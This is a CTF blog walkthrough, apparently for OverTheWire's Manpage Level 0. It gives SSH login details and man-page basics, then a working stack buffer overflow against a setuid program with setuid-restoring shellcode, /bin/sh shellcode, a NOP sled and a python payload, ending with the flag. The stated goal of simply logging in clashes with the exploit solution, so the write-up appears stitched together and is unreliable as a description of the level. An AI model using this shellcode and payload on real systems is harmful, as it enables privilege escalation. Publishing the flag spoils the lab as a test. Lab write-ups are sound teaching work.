Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Manpage Level 0 tutorial!!

Login

Use the following SSH command to connect to the Manpage server.

ssh manpage0@manpage.labs.overthewire.org -p 2224
# password: manpage0

Task

Log into the Manpage server via SSH and confirm you are inside the manpage0 environment. After login, list /manpage/ to see the game materials you will use in later levels.

The goal for this first level is simply to connect successfully and get comfortable with the man (manual pages) tool you will rely on later.

A little bit of Theory

  • SSH (Secure Shell) provides encrypted remote access.
  • Basic syntax:

    ssh <username>@<server> -p <port>
    

    Here, the username is manpage0, the host is manpage.labs.overthewire.org, and the non‑default port is 2224.

  • On first connection, SSH will ask you to trust the host key; answering yes stores it in ~/.ssh/known_hosts.
  • After successful login you land in the user’s home directory (~).
  • Man pages are built‑in docs for Unix/Linux tools and APIs:

    • man <command> opens a manual.
    • man <section> <name> targets a specific section (e.g., man 5 crontab).
    • Search inside a man page with /keyword, then n/N.
    • man -k <keyword> / apropos <keyword> searches by description.
    • Handy references: man 7 man-pages, man 7 regex.

Solution

Vulnerable program (given):

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]){
    char buf[256];
    setuid( getuid() );
    strcpy(buf, argv[1]);
    return 0;
}

We can easily get code execution by placing shellcode into buf (copied by strcpy) and returning to it. However, setuid(getuid()) drops the program’s elevated privileges (effective UID), so we first need to restore the target UID before spawning a shell.

Privilege-restore stub (i386):

section .text
    global _start

_start:
    xor ebx, ebx
    xor eax, eax
    mov al, 0x17        ; sys_setuid
    mov bx, 0x4269      ; 0x4269 == 17001 (uid of manpage1)
    int 0x80

The code above triggers syscall 23 (setuid) with argument 17001, which corresponds to the manpage1 user ID.

Build and extract shellcode:

nasm -f elf setuid.asm
ld -m elf_i386 -s -o setuid setuid.o
objdump -M intel -d setuid
# shellcode: \x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80

From analysis we need 260 bytes of padding to reach/control EIP. The final payload layout is:

  • NOP sled (100 bytes)
  • setuid(17001) shellcode
  • /bin/sh shellcode
  • Padding (120 × A)
  • Return address → into the sled

Exploit invocation:

/manpage/manpage0 $(python3 -c 'import sys,struct;
payload  = b"\x90"*100
payload += b"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
payload += b"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload += b"A"*120
payload += struct.pack("<I", 0xffffd4d8)  # example return address, adjust via gdb
sys.stdout.buffer.write(payload)')

This yielded a shell and the flag deesohwuno.

Why this works

  • setuid(getuid()) removes prior privilege; our injected stub re-acquires the intended UID (17001) via syscall setuid(17001).
  • Control over EIP at offset 260 lets us redirect execution into the NOP sled placed in buf.
  • After privileges are restored, the classic /bin/sh shellcode successfully spawns a shell with the required permissions.
  • The chosen return address points back into the sled, increasing reliability.

Troubleshooting quick tips

  • ssh: connect to host ... port 2224: Connection timed out → Check connectivity/firewall; ensure -p 2224 is present.
  • Permission denied → Re‑check username/password (manpage0/manpage0).
  • Host key verification failed → Remove the stale key from ~/.ssh/known_hosts and retry.

Congrats 🎉 You’ve successfully completed Level 0 and are ready for Level 0 → 1, where you’ll start using man intentionally to hunt for answers.


Thanks for reading!

See you in the next level — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with